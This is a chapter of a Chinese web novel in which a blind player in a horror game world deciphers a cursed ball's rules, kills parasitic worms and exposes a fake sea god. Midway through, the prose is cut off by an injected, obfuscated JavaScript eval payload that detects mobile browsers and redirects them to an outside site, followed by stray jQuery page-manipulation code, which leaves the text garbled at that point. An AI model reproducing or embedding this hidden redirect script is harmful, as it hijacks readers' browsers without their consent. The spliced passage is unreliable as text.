“咕叽。”
轻微的鸡蛋破壳声仿佛一个信号，刹那间，谢海的头如烟花炸开，喷洒出星星点点黑色浑浊液体。
“沙沙……”
细碎的蠕动声随之响起。光洁的地板上，黄豆大的黑色颗粒左右蠕动着，渐渐长出完整的脑袋和尖尖尾巴，仿佛身体被拉长的蝌蚪。
它们迅速钻入一道道雾气凝聚而成的人影中，宛若灵活的游鱼在之血肉间游走，像一道不祥的闪电。
霎时间，原本就即将溃散的人形彻底崩塌，如同融化的雪堆被黑色一点点蚕食干净。
水晶吊灯仅剩下一盏，散发出微弱的、摇摇欲坠的光芒，随时有可能熄灭。
“呼……”
在她们前方两米处，已然被伸手不见五指的黑暗覆盖。更深处，莫名且急促的喘息仍在回响。
“大姥，我们该怎么办？”谈忆哪见过这架势，一种强烈的反胃感涌上喉咙，脸色不觉变得惨白。
若是不小心沾上那些怪东西……她仅仅在脑海中产生这个设想，就觉得眼前一阵眩晕，随即是强烈的后怕。届时，她定会不惜一切代价退出游戏，总好过眼睁睁看自己被“寄生”成怪物。
“他脸上是什么？”
薄瑜卿接着刚才她没说完的话问，面上是近乎冻结的漠然。
“唔，是虫、虫子……”谈忆强忍着恶心，将谢海的异状复述一遍，“现在那些虫子满大厅都是，我们脚下也有。”
许是被系统判定为绝对安全的空气面具发挥了作用，那些豆大的颗粒并没有攀附上她们衣角，反倒视若无睹地在附近徘徊。
“等到大厅里彻底变为黑暗时，我们不一定会如此幸运。那些被吃干抹净的面具人，就是我们的下场。”
薄瑜卿仿佛猜出她心里在想什么，平静地添上一句。
“什么意思？！”谈忆悚然一惊。
“仔细看看，你的同伴手里有没有攥着类似纸张的物品。这场舞会，应该有‘规则’。”
闻言，谈忆急忙抬眼望去，谢海此时的尸体就横在距离她们两步远的位置。她脑中乱糟糟的，来不及思考其为什么没有选择复活，本能地按照薄瑜卿说的去做。
“手里没有，但他的口袋——”
“取出来。”
薄瑜卿斩钉截铁地打断，“如果你不敢，告诉我在哪，我来取。”
此时，最后一盏灯也开始忽明忽暗。阴影仿佛隐藏在暗处的魑魅魍魉，嗅到猎物的气味而变得出奇活跃，迫不及待地在地面上发出沙沙声。
谢海的尸体正在慢慢被其吞噬，随时有可能彻底消失。
“我来吧！”谈忆眼皮一跳，身体已先一步做出反应。她咬咬牙，弯下腰，指尖夹住那张浸水后湿哒哒的纸用力一抽。
她发誓，她这辈子的勇气都用到了现在。
“噼啪。”
一团黑色的球状物擦着她的胳膊滑落，在地面炸开，上百只虫子顷刻间散落一地，在她眼前缓慢蠕动。
“呕……上面写的是……”她几乎要忍不住胃里翻涌的酸水，语速飞快地念道，“第一条，这是一场正规舞会，需要携带舞伴出席，不论身份。第二条，黑暗高于一切，祂的降临不可阻挡。第三条，时间——”
她的声音戛然而止，带着不加掩饰的张皇，“没、没了！”
后半截边缘有撕扯的痕迹，似是在争抢中不小心遗落。
那一刹，谈忆的感觉犹如从天堂坠落地狱，寒意让她浑身发凉，但更多是临门一脚的泄气。好不容易有了线索，为什么偏偏缺少最关键的信息？！只要知晓了规则，她们总归有找到生路的希望！
“把蜡烛拿下来给我，接待员。下一阶段，你是我的舞伴。”
薄瑜卿迅速做出决定。
话音未落，一道影子徐徐从吊灯上飘下。它脸上同样戴着空气面具，细长的触手卷着一支燃烧到一半的蜡烛。火苗微弱，可仍在顽强地燃烧，将黑暗劈开一个小方格。
——拿三张面具，就是为了这一刻。
她有暗中接应的“帮手”。
接待员落地的刹那，它拉来凑数的舞伴也落在谈忆跟前。那是一个没有戴面具的发抖人影，因为一直待在天花板上，它幸运的并没有被虫子波及。
眼下，则像是往狮群中放入一只羚羊，无数黑点闻着味飞速爬来，眨眼间将她们围得水泄不通。
“大姥……”
“坚持五分钟，你会听到通关提示。”
这句话，薄瑜卿是对谈忆说的。没有在意对方的反应，她拄着盲杖，和接待员一同大步向黑暗中走去。
“窸窸窣窣……”
令人头皮发麻的蠕动怪声如影随形。她丝毫未察，任由其爬上裤脚。
第二条规则，黑暗高于一切在此刻发挥作用。换言之，只要走进黑暗，脸上的面具也会失效。这也是她仅让接待员拿一根蜡烛的原因：对方需要光亮“保命”，而她不用。
【您已击杀海神·部分（异化）*30，获得经验30。当前等级：Lv1（30/200）】
这才是她迈出的第一步。
“咕叽。”无数虫子在她脚边炸开，形成一滩滩乌黑的脓水，难言的恶臭弥漫在空气中。
紧接着，提示音接二连三地响起：
【您已击杀……】
【您已……】
两分钟后，她的等级已经突破3级，距离4级还差不到一百点。
“属性点全部加到感知。”
刹那间，她感到周围的环境在耳中具象化。如果说之前是勉强可以建模，那么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005729|193293||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
现在，连一粒灰尘飘落这样最细微的细节也能清晰地在她脑海中呈现。
“396点感知，还算不错。”
这个数字，显然已经远远超过了系统的评判标准。之前还评价她能感知到常人看不见的东西，现在直接用一串问号取代。
“在那边。”
她不需要犹豫，直接判断出喘息声的来源。
那并非鼓风箱般的喘气，倒像是许许多多声浪叠加在一起，从而产生的独特渐增频率。
“你真的准备——”
接待员要落后她半步，此刻终于忍不住出声。
“时间诅咒，顾名思义，就是创造出一个封闭的轮回，让所有事情在其中循环往复地进行。换言之，过去一遍遍上演，永远没有尽头。”
薄瑜卿停下脚步，语调淡淡，“这场舞会，已经重复了成百上千遍。死亡的‘人’，在第二天仍会复活，依然在重复今天所发生的一切。”
所以才会出现苦苦哀求面具的人影。它们知道死亡并非终点，所以会想着多花一点钱买面具，是否可以结束这痛苦的一切。
“有一点很有趣：没人拿出超过一枚铜币的财产。在我看来，它们并非不愿，而是压根没有。”
她徒然加重语气，“再结合村长私藏的一枚金币，他的钱从何而来？要知道，村子里早已没有人烟，他无处搜刮油水。那么，结合祠堂里伪造的海神像，答案便呼之欲出——有人暗中贿赂了他，和之联手，共同暗害女爵。”
突然伸手夺过蜡烛，她将其向前一抛——
如同划破暗夜的火炬，藏在暗处的东西第一次暴露在光线下，无所遁形。
深褐色的触手倾吐黏液，足有脸盆大的吸盘上粘着一个个干枯的影子。它们早已没有生机，可是被一根根乳白丝线拉扯着，机械弹奏。
“这种乐队，再好的曲子顶多也只能发挥出一分水平，真是暴殄天物。”
她空洞的眼窝凝视着盘踞成一团的触手，忽然偏过头，“看”向走在她身侧不断漏出脓水的接待员，“是这样么，冒牌海神？”
刹那间，白雾褪去。
有着甜美女声的“人”显出真容。他的身体由一根根触手支撑，和眼前巨物如出一辙的吸盘贴在地上，以让他勉强维持人形。
渔网似有所感地高高竖起，细线同样张开，在她前方形成一道密不透风的防护屏障。
“你到底是怎么——”
阴柔男人的话只说了一半，就被薄瑜卿用盲杖戳中触须，发出一声短促的尖叫。
“在我写的游戏剧本里，没有你这个冒牌货一星半点的戏份。”
“我最讨厌的，就是这些自以为是的人给男性NPC冠上不属于他们的荣光……哪怕他们原本只是阴沟里的老鼠，不配拥有姓名。”